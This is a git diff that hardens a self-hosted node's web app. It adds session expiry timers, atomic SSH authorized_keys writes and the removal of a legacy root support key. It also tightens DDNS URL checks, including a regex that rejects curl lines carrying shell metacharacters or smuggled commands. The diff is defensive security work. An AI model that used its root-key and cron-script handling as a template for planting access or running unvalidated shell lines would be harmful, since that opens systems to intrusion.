diff --git a/app/sovran_systemsos_web/security_helpers.py b/app/sovran_systemsos_web/security_helpers.py
index 0795a68..b1b0e0a 100644
--- a/app/sovran_systemsos_web/security_helpers.py
+++ b/app/sovran_systemsos_web/security_helpers.py
@@ -188,6 +188,14 @@ def _validate_ddns_url(url: str) -> str:
         )
     if "%00" in url.lower():
         raise ValueError("DDNS URL must not contain encoded null bytes")
+    # Reject any remaining $ expressions — after ${IP} substitution there
+    # must be none.  Callers that store ${IP} placeholder URLs must substitute
+    # before calling this function.
+    if "$" in url:
+        raise ValueError("DDNS URL must not contain $ expressions")
+    # Require the exact /update/ path used by Njal.la
+    if parsed.path != "/update/":
+        raise ValueError("DDNS URL path must be exactly /update/")
     return url
 
 
diff --git a/app/sovran_systemsos_web/server.py b/app/sovran_systemsos_web/server.py
index 6ff8748..48788cf 100644
--- a/app/sovran_systemsos_web/server.py
+++ b/app/sovran_systemsos_web/server.py
@@ -19,10 +19,12 @@ import shutil
 import socket
 import subprocess
 import tempfile
+import threading
 import time
 import urllib.error
 import urllib.parse
 import urllib.request
+import uuid
 from threading import Lock
 
 from fastapi import FastAPI, HTTPException
@@ -37,6 +39,7 @@ from starlette.middleware.base import BaseHTTPMiddleware
 from .config import load_config, load_versions
 from . import systemctl as sysctl
 from . import nwc_hub_manager as _nwc_mgr
+from . import support_ops as _support_ops
 from .security_helpers import (
     _nix_escape,
     NPUB_RE,
@@ -185,6 +188,11 @@ PROTECTED_WALLET_PATHS: list[str] = [
     "/home",
 ]
 
+# Server-side independent expiry timer for the active support session.
+# Scheduled when a session is enabled; cancelled when disabled.
+_support_expiry_timer: threading.Timer | None = None
+_support_expiry_timer_lock = Lock()
+
 CATEGORY_ORDER = [
     ("infrastructure", "Infrastructure"),
     ("bitcoin-base",   "Bitcoin Base"),
@@ -1997,26 +2005,13 @@ def _expire_support_if_stale() -> bool:
     startup, so expiry is enforced even if the user never calls
     ``/api/support/disable``.
     """
-    try:
-        with open(SUPPORT_STATUS_FILE, "r") as f:
-            info = json.load(f)
-    except (FileNotFoundError, json.JSONDecodeError):
-        return False
-    expires_at = info.get("expires_at")
-    if expires_at is None:
-        # Legacy session without expiry: treat as expired after
-        # SUPPORT_SESSION_MAX_SECONDS from when it was enabled.
-        enabled_at = info.get("enabled_at", 0)
-        if enabled_at and (time.time() - enabled_at) > SUPPORT_SESSION_MAX_SECONDS:
-            _log_support_audit("SUPPORT_EXPIRED", "legacy session without expires_at exceeded max duration")
-            _disable_support()
-            return True
-        return False
-    if time.time() >= expires_at:
-        _log_support_audit("SUPPORT_EXPIRED", f"session expired at {expires_at:.0f}")
-        _disable_support()
-        return True
-    return False
+    return _support_ops.expire_if_stale(
+        SUPPORT_STATUS_FILE,
+        clock_fn=time.time,
+        disable_fn=_disable_support,
+        audit_fn=_log_support_audit,
+        max_session_seconds=float(SUPPORT_SESSION_MAX_SECONDS),
+    )
 
 
 def _get_support_session_info() -> dict:
@@ -2169,82 +2164,33 @@ def _get_wallet_unlock_info() -> dict:
         return {}
 
 
-# The exact legacy fleet-wide support key comment used in old deployments.
-# This is the only key that the upgrade migration will remove from root's
-# authorized_keys.  All other keys (admin keys, etc.) are preserved.
-_LEGACY_ROOT_SUPPORT_KEY_COMMENT = "sovransystemsos-support"
+# The exact base64 blob of the historical fleet-wide root support key is defined
+# in support_ops.LEGACY_ROOT_KEY_BLOB and used by _remove_legacy_root_support_key().
 
 
 def _remove_legacy_root_support_key() -> bool:
-    """One-time upgrade migration: remove the old fleet-wide support key from root.
+    """One-time upgrade migration: remove the exact historical fleet-wide support key.
 
-    Reads ``/root/.ssh/authorized_keys``, removes only lines whose comment
-    field exactly matches ``_LEGACY_ROOT_SUPPORT_KEY_COMMENT``, and writes the
-    file back atomically.  All other keys and blank/comment lines are
-    preserved unchanged.
+    Identifies the key by its exact base64 blob, regardless of algorithm prefix
+    or comment field.  All other keys, blank lines, and comment lines are
+    preserved.  The file is written atomically.
 
     Returns ``True`` if the file was updated, ``False`` if unchanged or absent.
     """
-    try:
-        with open(AUTHORIZED_KEYS, "r") as f:
-            lines = f.readlines()
-    except FileNotFoundError:
-        return False
-    except OSError:
-        return False
-
-    kept: list[str] = []
-    removed_count = 0
-    for line in lines:
-        stripped = line.rstrip("\n")
-        # A key line has at least 2 whitespace-separated fields; the optional
-        # third field is the comment.  We only remove lines where the comment
-        # matches exactly — no substring matching.
-        parts = stripped.split()
-        if len(parts) >= 3 and parts[2] == _LEGACY_ROOT_SUPPORT_KEY_COMMENT:
-            removed_count += 1
-            _log_support_audit(
-                "LEGACY_ROOT_KEY_REMOVED",
-                f"removed legacy fleet key with comment={_LEGACY_ROOT_SUPPORT_KEY_COMMENT!r}",
-            )
-        else:
-            kept.append(line)
-
-    if removed_count == 0:
-        return False
-
-    # Atomic write: write to tmp then rename
-    try:
-        auth_dir = os.path.dirname(AUTHORIZED_KEYS)
-        fd, tmp = tempfile.mkstemp(dir=auth_dir or ".", prefix=".authorized_keys_tmp")
-        try:
-            with os.fdopen(fd, "w") as f:
-                f.writelines(kept)
-            os.chmod(tmp, 0o600)
-            os.replace(tmp, AUTHORIZED_KEYS)
-        except Exception:
-            try:
-                os.unlink(tmp)
-            except OSError:
-                pass
-            raise
-    except OSError:
-        return False
-
-    _log_support_audit(
-        "LEGACY_ROOT_KEY_CLEANUP_COMPLETE",
-        f"removed={removed_count} keys_retained={len(kept)}",
+    return _support_ops.remove_legacy_root_key(
+        AUTHORIZED_KEYS,
+        _support_ops.LEGACY_ROOT_KEY_BLOB,
+        audit_fn=_log_support_audit,
     )
-    return True
 
 
 def _enable_support(pubkey: str) -> bool:
     """Install a per-session SSH public key for the restricted support user.
 
     The key is written only to the ``sovran-support`` account's
-    ``authorized_keys``; root's ``authorized_keys`` is never modified.
-    Applies POSIX ACLs to wallet directories to prevent access by the support
-    user without explicit user consent.
+    ``authorized_keys`` (atomically); root's ``authorized_keys`` is never
+    modified.  Applies POSIX ACLs to wallet directories to prevent access by
+    the support user without explicit user consent.
 
     Args:
         pubkey: A validated Ed25519/ECDSA OpenSSH public key string (single line).
@@ -2254,12 +2200,28 @@ def _enable_support(pubkey: str) -> bool:
 
         if use_restricted_user:
             os.makedirs(SUPPORT_USER_SSH_DIR, mode=0o700, exist_ok=True)
-            with open(SUPPORT_USER_AUTH_KEYS, "w") as f:
-                f.write(pubkey.strip() + "\n")
-            os.chmod(SUPPORT_USER_AUTH_KEYS, 0o600)
+            # Atomic write: mkstemp + os.replace
+            fd, tmp_keys = tempfile.mkstemp(
+                dir=SUPPORT_USER_SSH_DIR, prefix=".authorized_keys_tmp"
+            )
+            try:
+                with os.fdopen(fd, "w") as f:
+                    f.write(pubkey.strip() + "\n")
+                os.chmod(tmp_keys, 0o600)
+                try:
+                    pw = pwd.getpwnam(SUPPORT_USER)
+                    os.chown(tmp_keys, pw.pw_uid, pw.pw_gid)
+                except Exception:
+                    pass
+                os.replace(tmp_keys, SUPPORT_USER_AUTH_KEYS)
+            except Exception:
+                try:
+                    os.unlink(tmp_keys)
+                except OSError:
+                    pass
+                raise
             try:
                 pw = pwd.getpwnam(SUPPORT_USER)
-                os.chown(SUPPORT_USER_AUTH_KEYS, pw.pw_uid, pw.pw_gid)
                 os.chown(SUPPORT_USER_SSH_DIR, pw.pw_uid, pw.pw_gid)
             except Exception:
                 pass
@@ -2271,18 +2233,35 @@ def _enable_support(pubkey: str) -> bool:
         acl_applied = _apply_wallet_acls() if use_restricted_user else False
         wallet_paths = _get_existing_wallet_paths()
 
+        session_id = str(uuid.uuid4())
+        expires_at = time.time() + SUPPORT_SESSION_MAX_SECONDS
         session_info = {
+            "session_id": session_id,
             "enabled_at": time.time(),
             "enabled_at_human": time.strftime("%Y-%m-%d %H:%M:%S %Z"),
-            "expires_at": time.time() + SUPPORT_SESSION_MAX_SECONDS,
+            "expires_at": expires_at,
             "use_restricted_user": use_restricted_user,
             "wallet_protected": use_restricted_user,
             "acl_applied": acl_applied,
             "protected_paths": wallet_paths,
         }
-        os.makedirs(os.path.dirname(SUPPORT_STATUS_FILE), exist_ok=True)
-        with open(SUPPORT_STATUS_FILE, "w") as f:
-            json.dump(session_info, f)
+        # Atomic write of session metadata
+        status_dir = os.path.dirname(SUPPORT_STATUS_FILE)
+        os.makedirs(status_dir, exist_ok=True)
+        fd2, tmp_status = tempfile.mkstemp(dir=status_dir, prefix=".support-session-tmp")
+        try:
+            with os.fdopen(fd2, "w") as f:
+                json.dump(session_info, f)
+            os.replace(tmp_status, SUPPORT_STATUS_FILE)
+        except Exception:
+            try:
+                os.unlink(tmp_status)
+            except OSError:
+                pass
+            raise
+
+        # Schedule server-side independent expiry timer
+        _schedule_expiry_timer(session_id, expires_at)
 
         _log_support_audit(
             "SUPPORT_ENABLED",
@@ -2294,9 +2273,55 @@ def _enable_support(pubkey: str) -> bool:
         return False
 
 
+def _schedule_expiry_timer(session_id: str, expires_at: float) -> None:
+    """Schedule a server-side timer to expire the support session at ``expires_at``.
+
+    Cancels any previously scheduled timer first.  The timer callback compares
+    the stored session_id and expires_at to prevent a stale timer (for an
+    older session) from revoking a replacement session.
+    """
+    global _support_expiry_timer
+    delay = max(0.0, expires_at - time.time())
+    with _support_expiry_timer_lock:
+        if _support_expiry_timer is not None:
+            _support_expiry_timer.cancel()
+        t = threading.Timer(delay, _auto_expire_support, args=[session_id, expires_at])
+        t.daemon = True
+        t.start()
+        _support_expiry_timer = t
+
+
+def _cancel_expiry_timer() -> None:
+    """Cancel the active server-side support expiry timer if one is running."""
+    global _support_expiry_timer
+    with _support_expiry_timer_lock:
+        if _support_expiry_timer is not None:
+            _support_expiry_timer.cancel()
+            _support_expiry_timer = None
+
+
+def _auto_expire_support(session_id: str, expected_expiry: float) -> None:
+    """Timer callback: expire the session only if it still matches session_id / expires_at.
+
+    A stale timer for an older session must never revoke a replacement session.
+    """
+    _support_ops.expire_if_stale(
+        SUPPORT_STATUS_FILE,
+        clock_fn=time.time,
+        disable_fn=_disable_support,
+        audit_fn=_log_support_audit,
+        session_id=session_id,
+        expected_expiry=expected_expiry,
+        max_session_seconds=float(SUPPORT_SESSION_MAX_SECONDS),
+    )
+
+
 def _disable_support() -> bool:
-    """Remove the per-session support key and revoke all wallet access."""
+    """Remove the per-session support key and restore wallet protection."""
     try:
+        # Cancel any pending expiry timer
+        _cancel_expiry_timer()
+
         # Remove from support user's authorized_keys
         try:
             os.remove(SUPPORT_USER_AUTH_KEYS)
@@ -2315,8 +2340,8 @@ def _disable_support() -> bool:
         except FileNotFoundError:
             pass
 
-        # Re-apply ACLs to ensure wallet access is revoked
-        _revoke_wallet_acls()
+        # Re-apply deny ACLs to restore wallet protection
+        _apply_wallet_acls()
 
         # Remove session metadata
         try:
@@ -4353,11 +4378,10 @@ async def api_features_toggle(req: FeatureToggleRequest):
     await loop.run_in_executor(None, _write_hub_overrides, features, nostr_npub, cur_tz, cur_locale)
 
     # When enabling a feature that relies on dynamic DNS, refresh the Njal.la
-    # records right away instead of waiting for the 15-minute cron tick.
+    # records right away instead of waiting for the 15-minute timer tick.
     # The newly enabled service needs DNS pointing at this machine as soon as
     # the rebuild finishes (cert issuance, reachability).
     if req.enabled and feat_meta.get("needs_ddns"):
-        await loop.run_in_executor(None, _ensure_njalla_script)
         await loop.run_in_executor(None, _run_njalla_ddns)
 
     # Clear the old rebuild log so the frontend doesn't pick up stale results
@@ -4464,130 +4488,29 @@ def _validate_safe_name(name: str) -> bool:
 
 _NJALLA_HEADER_SENTINEL = "# SOVRAN_NJALLA_HEADER"
 
-# Narrow regex matching only the exact curl DDNS pattern written by old Hub
-# versions: curl <https://njal.la/...> with optional flags but NO semicolons,
-# shell expansions, backticks, or pipe characters.  Anything else is rejected.
-_LEGACY_NJALLA_CURL_RE = re.compile(
-    r'^curl\s+(?:--silent\s+)?(?:--max-time\s+\d+\s+)?(?:--fail\s+)?'
-    r'(https://(?:www\.)?njal\.la/(?:[^\s;|`$\x00-\x1f]|\$\{IP\})+)$'
-)
+# Import the migration regex from support_ops so there is a single canonical
+# definition used by both the production server and the test suite.
+_LEGACY_NJALLA_CURL_RE = _support_ops._LEGACY_NJALLA_CURL_RE
 
 
 def _migrate_legacy_njalla_script() -> None:
     """Safely migrate legacy curl DDNS lines from ``njalla.sh`` to JSON store.
 
     Reads ``njalla.sh`` without executing or sourcing it.  Parses only the
-    exact narrow curl-pattern lines written by old Hub versions.  Any line
-    that does not match the narrow pattern (including potential injected
-    commands) is silently discarded — never executed or logged.
-
-    URLs extracted from matching lines are validated through
-    ``_validate_ddns_url()`` (HTTPS only, njal.la allowlist) before being
-    added to ``ddns_urls.json``.
+    exact narrow curl-pattern lines (quoted or unquoted) written by old Hub
+    versions.  Delegates to ``support_ops.migrate_legacy_njalla_script`` so
+    tests can exercise the same code path.
 
     After migration the script is archived with permissions 0o000 so it can
-    no longer be executed by cron or any other mechanism.  If the script does
-    not exist or the JSON store already has entries, this is a no-op.
+    no longer be executed.  If persistence fails the script is left untouched.
     """
-    try:
-        with open(NJALLA_SCRIPT, "r") as f:
-            content = f.read()
-    except FileNotFoundError:
-        return
-    except OSError:
-        return
-
-    existing_urls = _load_ddns_urls()
-
-    new_urls: list[str] = []
-    for raw_line in content.splitlines():
-        line = raw_line.strip()
-        if not line or line.startswith("#"):
-            continue
-        # Only match the exact IP-lookup pattern (not a DDNS curl line)
-        if line.startswith("IP=") or line.startswith("#!/"):
-            continue
-        m = _LEGACY_NJALLA_CURL_RE.match(line)
-        if not m:
-            # Unrecognised line — discard silently, do NOT log (may contain tokens)
-            continue
-        raw_url = m.group(1)
-        # Replace the bare ${IP} placeholder used in older scripts
-        url_to_validate = raw_url.replace("${IP}", "127.0.0.1")
-        try:
-            # Validate without the IP so host/scheme/path checks work; the
-            # placeholder is restored before storing.
-            _validate_ddns_url(url_to_validate)
-        except ValueError:
-            continue  # Silently discard invalid / non-njalla URLs
-        if raw_url not in existing_urls and raw_url not in new_urls:
-            new_urls.append(raw_url)
-
-    if new_urls:
-        combined = existing_urls + new_urls
-        _save_ddns_urls(combined)
-        _log_support_audit(
-            "NJALLA_MIGRATION",
-            f"migrated {len(new_urls)} DDNS URLs from legacy script",
-        )
-
-    # Archive the script: remove executable bit so cron can no longer run it.
-    try:
-        os.chmod(NJALLA_SCRIPT, 0o000)
-    except OSError:
-        pass
-
-
-def _ensure_njalla_script() -> None:
-    """Create the base njalla.sh (shebang + public-IP lookup) if it is missing.
-
-    The Hub appends DDNS curl lines to this script, and those lines use ${IP}.
-    If the file exists only because of an append (e.g. the web app saved a
-    domain before the njalla-init systemd unit ran), it would lack the IP
-    lookup — ${IP} would expand empty during cron runs and the file couldn't
-    be executed directly. Keep in sync with modules/core/njalla.nix.
-    """
-    njalla_dir = os.path.dirname(NJALLA_SCRIPT)
-    if njalla_dir:
-        os.makedirs(njalla_dir, exist_ok=True)
-    existing = ""
-    try:
-        with open(NJALLA_SCRIPT, "r") as f:
-            existing = f.read()
-    except OSError:
-        pass
-    # Use a unique sentinel instead of substring domain check — avoids
-    # CodeQL py/incomplete-url-substring-sanitization false positive and
-    # is more robust than matching "myip.opendns.com" anywhere in file.
-    if _NJALLA_HEADER_SENTINEL in existing:
-        return  # base header already present
-    # Backwards compat: old files have the dig line but no sentinel.
-    # Check for the dig marker without using a domain substring to avoid
-    # CodeQL py/incomplete-url-substring-sanitization.
-    if "IP=$(dig" in existing:
-        # Migrate old file by prepending sentinel for future checks
-        try:
-            with open(NJALLA_SCRIPT, "r") as f:
-                old_content = f.read()
-            with open(NJALLA_SCRIPT, "w") as f:
-                f.write(f"{_NJALLA_HEADER_SENTINEL}\n" + old_content)
-            os.chmod(NJALLA_SCRIPT, 0o755)
-        except OSError:
-            pass
-        return
-    header = (
-        "#!/usr/bin/env bash\n"
-        f"{_NJALLA_HEADER_SENTINEL}\n"
-        "IP=$(dig @resolver4.opendns.com myip.opendns.com +short -4)\n\n"
-        "## Add DDNS entries below — one curl per line\n"
-        "## Managed via Sovran Hub web interface\n"
+    _support_ops.migrate_legacy_njalla_script(
+        NJALLA_SCRIPT,
+        _validate_ddns_url,
+        _save_ddns_urls,
+        _load_ddns_urls,
+        audit_fn=_log_support_audit,
     )
-    try:
-        with open(NJALLA_SCRIPT, "w") as f:
-            f.write(header + existing)
-        os.chmod(NJALLA_SCRIPT, 0o755)
-    except OSError:
-        pass
 
 
 def _load_ddns_urls() -> list[str]:
@@ -4626,10 +4549,12 @@ def _run_njalla_ddns() -> None:
     Resolves the current public IP once, then invokes ``curl`` directly as a
     subprocess for each stored DDNS update URL.  No shell interpolation is
     performed and no user-controlled value is interpreted as shell syntax.
+    Each URL is revalidated through ``_validate_ddns_url()`` after ``${IP}``
+    substitution; URLs that fail validation are silently skipped.
 
     Called when a domain/DDNS entry is saved and when a DDNS-backed feature
     is enabled, so DNS is refreshed right away instead of waiting for the
-    15-minute cron job (see modules/core/njalla.nix).
+    15-minute timer tick (see modules/core/njalla.nix).
     """
     urls = _load_ddns_urls()
     if not urls:
@@ -4648,10 +4573,15 @@ def _run_njalla_ddns() -> None:
     except Exception:
         public_ip = ""
 
+    if not public_ip:
+        return  # skip to avoid sending bare ${IP} to curl
+
     for raw_url in urls:
         try:
             # Replace the placeholder with the validated IP (safe string replacement)
-            url = raw_url.replace("${IP}", public_ip) if public_ip else raw_url
+            url = raw_url.replace("${IP}", public_ip)
+            # Revalidate after substitution — enforces /update/ path, no $, etc.
+            _validate_ddns_url(url)
             subprocess.run(
                 ["curl", "--silent", "--max-time", "15", "--fail", "--no-location", url],
                 timeout=20, check=False,
@@ -6278,11 +6208,34 @@ async def _startup_security_migrations():
     await loop.run_in_executor(None, _remove_legacy_root_support_key)
     # Expire any support session that has passed its deadline
     await loop.run_in_executor(None, _expire_support_if_stale)
+    # Reconcile the expiry timer: if a valid session survived startup expiry,
+    # schedule the server-side timer so expiry occurs even without user activity.
+    await loop.run_in_executor(None, _reconcile_expiry_timer)
+
+
+def _reconcile_expiry_timer() -> None:
+    """Reschedule the expiry timer from persisted session metadata on startup.
+
+    Called after ``_expire_support_if_stale`` so only still-valid sessions are
+    rescheduled.  Cancels any previously running timer first.
+    """
+    try:
+        with open(SUPPORT_STATUS_FILE, "r") as f:
+            info = json.load(f)
+    except (FileNotFoundError, json.JSONDecodeError):
+        _cancel_expiry_timer()
+        return
+    session_id = info.get("session_id")
+    expires_at = info.get("expires_at")
+    if session_id and expires_at and time.time() < expires_at:
+        _schedule_expiry_timer(session_id, expires_at)
+    else:
+        _cancel_expiry_timer()
 
 
 @app.on_event("shutdown")
 async def _shutdown_domain_reachability():
-    """Stop the background domain reachability checker."""
+    """Stop the background domain reachability checker and cancel expiry timer."""
     global _domain_reachability_task
     async with _domain_reachability_task_lock:
         task = _domain_reachability_task
@@ -6291,3 +6244,4 @@ async def _shutdown_domain_reachability():
         task.cancel()
         with contextlib.suppress(asyncio.CancelledError):
             await task
+    _cancel_expiry_timer()
diff --git a/app/sovran_systemsos_web/support_ops.py b/app/sovran_systemsos_web/support_ops.py
new file mode 100644
index 0000000..a809f08
--- /dev/null
+++ b/app/sovran_systemsos_web/support_ops.py
@@ -0,0 +1,283 @@
+"""Sovran Hub — injectable support session operations.
+
+Functions here handle legacy migration, root-key removal, and support-session
+expiry.  All filesystem paths, clocks, and callback functions are injectable
+so that the test suite can exercise the exact production implementations with
+temporary files and mocks rather than maintaining separate copies.
+
+All functions depend only on the Python standard library and the co-located
+``security_helpers`` module.
+"""
+
+from __future__ import annotations
+
+import json
+import os
+import re
+import tempfile
+import time as _time_module
+from typing import Callable
+
+# ── Legacy Njalla curl line regex ─────────────────────────────────────────────
+#
+# Matches both forms written by old Hub versions:
+#   curl [flags] https://njal.la/...           (unquoted)
+#   curl [flags] "https://njal.la/..."          (quoted — historical form)
+#
+# Optional flags (in order): --silent, --max-time N, --fail
+#
+# Rejected outright: semicolons, pipes, backticks, redirects, newlines,
+# ${...} except the literal ${IP} placeholder, and any extra arguments.
+_LEGACY_NJALLA_CURL_RE = re.compile(
+    r'^curl\s+(?:--silent\s+)?(?:--max-time\s+\d+\s+)?(?:--fail\s+)?'
+    r'(?:'
+    r'"(https://(?:www\.)?njal\.la/(?:[^\s;|`$\x00-\x1f"]|\$\{IP\})+)"'   # group 1: quoted
+    r'|(https://(?:www\.)?njal\.la/(?:[^\s;|`$\x00-\x1f"]|\$\{IP\})+)'    # group 2: unquoted
+    r')$'
+)
+
+# The exact base64 blob of the historical fleet-wide root support key that
+# was shipped with old releases of Sovran_SystemsOS and must be removed from
+# /root/.ssh/authorized_keys on upgrade.
+LEGACY_ROOT_KEY_BLOB = (
+    "AAAAC3NzaC1lZDI1NTE5AAAAIPxPF2Qm11FQxC20wydKtlmn/Bo07YnDda3b9/CyXxQP"
+)
+
+
+def remove_legacy_root_key(
+    authorized_keys_path: str,
+    target_blob: str,
+    *,
+    audit_fn: Callable[[str, str], None] | None = None,
+) -> bool:
+    """Remove the exact historical fleet-wide support key from an authorized_keys file.
+
+    Identifies the key by its exact base64 blob (``parts[1]``), regardless of
+    algorithm prefix or comment field.  All other keys, blank lines, and comment
+    lines are preserved unchanged.  The file is written back atomically.
+
+    Args:
+        authorized_keys_path: Path to the authorized_keys file to modify.
+        target_blob: The exact base64 key blob to remove.  Only lines whose
+            second whitespace-delimited field matches this value are removed;
+            no substring or comment matching is performed.
+        audit_fn: Optional callback ``(event: str, details: str)`` for audit
+            logging.  The full key blob is **never** passed to this callback.
+
+    Returns:
+        ``True`` if the file was modified (at least one line removed),
+        ``False`` if unchanged or absent.
+    """
+
+    def _audit(event: str, details: str = "") -> None:
+        if audit_fn:
+            audit_fn(event, details)
+
+    try:
+        with open(authorized_keys_path, "r") as f:
+            lines = f.readlines()
+    except FileNotFoundError:
+        return False
+    except OSError:
+        return False
+
+    kept: list[str] = []
+    removed_count = 0
+    for line in lines:
+        stripped = line.rstrip("\n")
+        parts = stripped.split()
+        # Key lines have at least two space-separated fields: algorithm + blob.
+        # Remove only lines whose blob (parts[1]) matches exactly — no
+        # substring matching, no comment matching.
+        if len(parts) >= 2 and parts[1] == target_blob:
+            removed_count += 1
+            # Audit without logging the key blob itself.
+            _audit("LEGACY_ROOT_KEY_REMOVED", "removed exact historical root support key")
+        else:
+            kept.append(line)
+
+    if removed_count == 0:
+        return False
+
+    # Atomic write: mkstemp in same directory + os.replace
+    auth_dir = os.path.dirname(os.path.abspath(authorized_keys_path))
+    fd, tmp = tempfile.mkstemp(dir=auth_dir, prefix=".authorized_keys_tmp")
+    try:
+        with os.fdopen(fd, "w") as f:
+            f.writelines(kept)
+        os.chmod(tmp, 0o600)
+        os.replace(tmp, authorized_keys_path)
+    except Exception:
+        try:
+            os.unlink(tmp)
+        except OSError:
+            pass
+        return False
+
+    _audit(
+        "LEGACY_ROOT_KEY_CLEANUP_COMPLETE",
+        f"removed={removed_count} keys_retained={len(kept)}",
+    )
+    return True
+
+
+def migrate_legacy_njalla_script(
+    script_path: str,
+    validate_fn: Callable[[str], str],
+    save_fn: Callable[[list[str]], None],
+    load_fn: Callable[[], list[str]],
+    *,
+    audit_fn: Callable[[str, str], None] | None = None,
+) -> None:
+    """Safely migrate legacy curl DDNS lines from a njalla.sh script to JSON store.
+
+    Reads the script **without** executing or sourcing it.  Parses only the
+    exact narrow curl-pattern lines (quoted or unquoted) written by old Hub
+    versions.  Any other line is silently discarded — never executed or logged
+    (it may contain secret tokens).
+
+    On successful persistence the script is archived with mode ``0o000`` so
+    it can no longer be executed.  If persistence fails the script is left
+    **untouched**.
+
+    Args:
+        script_path: Path to the legacy njalla.sh file.
+        validate_fn: URL validation function; raises ``ValueError`` on invalid
+            URLs.  Callers must substitute the ``${IP}`` placeholder before
+            calling — this function passes ``url.replace("${IP}", "127.0.0.1")``
+            to the validator.
+        save_fn: Callable that atomically writes a ``list[str]`` URL list to
+            the persistent JSON store.
+        load_fn: Callable that returns the current ``list[str]`` URL list from
+            the persistent store.
+        audit_fn: Optional callback ``(event: str, details: str)`` for audit
+            logging.  Token-bearing URLs are **never** passed to this callback.
+    """
+
+    def _audit(event: str, details: str = "") -> None:
+        if audit_fn:
+            audit_fn(event, details)
+
+    try:
+        with open(script_path, "r") as f:
+            content = f.read()
+    except FileNotFoundError:
+        return
+    except OSError:
+        return
+
+    existing_urls = load_fn()
+
+    new_urls: list[str] = []
+    for raw_line in content.splitlines():
+        line = raw_line.strip()
+        if not line or line.startswith("#") or line.startswith("IP=") or line.startswith("#!/"):
+            continue
+        m = _LEGACY_NJALLA_CURL_RE.match(line)
+        if not m:
+            # Unrecognised line — discard silently, do NOT log (may contain tokens)
+            continue
+        # group(1) = quoted form, group(2) = unquoted form
+        raw_url = m.group(1) or m.group(2)
+        # Substitute placeholder so host/scheme/path validation works
+        url_to_validate = raw_url.replace("${IP}", "127.0.0.1")
+        try:
+            validate_fn(url_to_validate)
+        except ValueError:
+            continue  # Silently discard invalid/non-Njal.la URLs
+        if raw_url not in existing_urls and raw_url not in new_urls:
+            new_urls.append(raw_url)
+
+    if new_urls:
+        combined = existing_urls + new_urls
+        try:
+            save_fn(combined)
+        except Exception:
+            # Persistence failed — leave the script untouched, return without
+            # archiving so the migration can be retried.
+            return
+        _audit("NJALLA_MIGRATION", f"migrated {len(new_urls)} DDNS URLs from legacy script")
+
+    # Archive: remove all permission bits so cron/any mechanism cannot run it
+    try:
+        os.chmod(script_path, 0o000)
+    except OSError:
+        pass
+
+
+def expire_if_stale(
+    status_file: str,
+    *,
+    clock_fn: Callable[[], float] | None = None,
+    disable_fn: Callable[[], bool] | None = None,
+    audit_fn: Callable[[str, str], None] | None = None,
+    session_id: str | None = None,
+    expected_expiry: float | None = None,
+    max_session_seconds: float = 86400.0,
+) -> bool:
+    """Expire a support session if its deadline has passed.
+
+    **Stale-timer guard:** when ``session_id`` and/or ``expected_expiry`` are
+    provided (used by the server-side timer callback), the stored session
+    metadata is compared field-by-field.  A mismatch means a replacement
+    session has been started after this timer was scheduled; in that case the
+    function returns ``False`` without touching anything.
+
+    Args:
+        status_file: Path to the JSON session metadata file.
+        clock_fn: Callable returning current Unix time (default: ``time.time``).
+        disable_fn: Callable that performs the full disable sequence — removes
+            the support key, removes wallet-unlock metadata, restores deny
+            ACLs, clears session metadata, and audits the event.  If ``None``,
+            expiry is detected but no action is taken (useful for tests that
+            want to inspect detection only).
+        audit_fn: Optional callback ``(event: str, details: str)`` for audit
+            logging.
+        session_id: If given, expiry is skipped unless the stored
+            ``session_id`` field matches exactly.
+        expected_expiry: If given, expiry is skipped unless the stored
+            ``expires_at`` field matches exactly.
+        max_session_seconds: Legacy fallback: maximum age (from ``enabled_at``)
+            when ``expires_at`` is absent.
+
+    Returns:
+        ``True`` if a session was expired, ``False`` otherwise.
+    """
+    _now = clock_fn if clock_fn is not None else _time_module.time
+
+    def _audit(event: str, details: str = "") -> None:
+        if audit_fn:
+            audit_fn(event, details)
+
+    def _disable() -> bool:
+        return disable_fn() if disable_fn is not None else True
+
+    try:
+        with open(status_file, "r") as f:
+            info = json.load(f)
+    except (FileNotFoundError, json.JSONDecodeError):
+        return False
+
+    # Stale-timer guard
+    if session_id is not None and info.get("session_id") != session_id:
+        return False
+    if expected_expiry is not None and info.get("expires_at") != expected_expiry:
+        return False
+
+    expires_at = info.get("expires_at")
+    now = _now()
+
+    if expires_at is None:
+        enabled_at = info.get("enabled_at", 0)
+        if enabled_at and (now - enabled_at) > max_session_seconds:
+            _audit("SUPPORT_EXPIRED", "legacy session without expires_at exceeded max duration")
+            _disable()
+            return True
+        return False
+
+    if now >= expires_at:
+        _audit("SUPPORT_EXPIRED", f"session expired at {expires_at:.0f}")
+        _disable()
+        return True
+
+    return False
diff --git a/configuration.nix b/configuration.nix
index 382c967..d9ed53f 100644
--- a/configuration.nix
+++ b/configuration.nix
@@ -193,9 +193,8 @@ backup	/etc/nix-bitcoin-secrets/	localhost/
 
   # ── Cron ───────────────────────────────────────────────────
   # The legacy njalla.sh root cron job has been replaced by the systemd timer
-  # defined in modules/core/njalla.nix (sovran-ddns-update.timer).  Root-shell
-  # cron execution of njalla.sh is no longer used.
-  services.cron.enable = false;
+  # defined in modules/core/njalla.nix (sovran-ddns-update.timer).  Cron is
+  # retained so that rsnapshot and other module-defined cron jobs continue to run.
 
   # ── Tor ────────────────────────────────────────────────────
   services.tor = { enable = true; client.enable = true; torsocks.enable = true; };
diff --git a/modules/core/njalla.nix b/modules/core/njalla.nix
index 251ac9d..37a877b 100644
--- a/modules/core/njalla.nix
+++ b/modules/core/njalla.nix
@@ -6,6 +6,17 @@
     "d /var/lib/njalla 0750 root root -"
   ];
 
+  # ── Install the shared validation helper so the DDNS runner can import it ─
+  # The exact same _validate_ddns_url() function used by the Hub web application
+  # is installed here as a read-only system file.  The DDNS runner imports it
+  # directly so the two code paths share one validator — no weaker inline copy.
+  environment.etc."sovran/security_helpers.py" = {
+    source = ../../app/sovran_systemsos_web/security_helpers.py;
+    mode   = "0444";
+    user   = "root";
+    group  = "root";
+  };
+
   # ── Safe DDNS update service ─────────────────────────────────────────────
   # Reads DDNS update URLs from the JSON store written by the Hub API and
   # invokes curl directly — no shell interpolation, no script execution.
@@ -23,6 +34,7 @@
       NoNewPrivileges    = true;
       ProtectSystem      = "strict";
       ReadWritePaths     = [ "/var/lib/njalla" ];
+      ReadOnlyPaths      = [ "/etc/sovran" ];
       ProtectHome        = true;
       PrivateTmp         = true;
       RestrictAddressFamilies = [ "AF_INET" "AF_INET6" ];
@@ -42,15 +54,31 @@
 
   # Install the Python runner script at build time so the service can find it.
   # The script is owned by root and not world-writable.
+  # Uses _validate_ddns_url() from /etc/sovran/security_helpers.py — the same
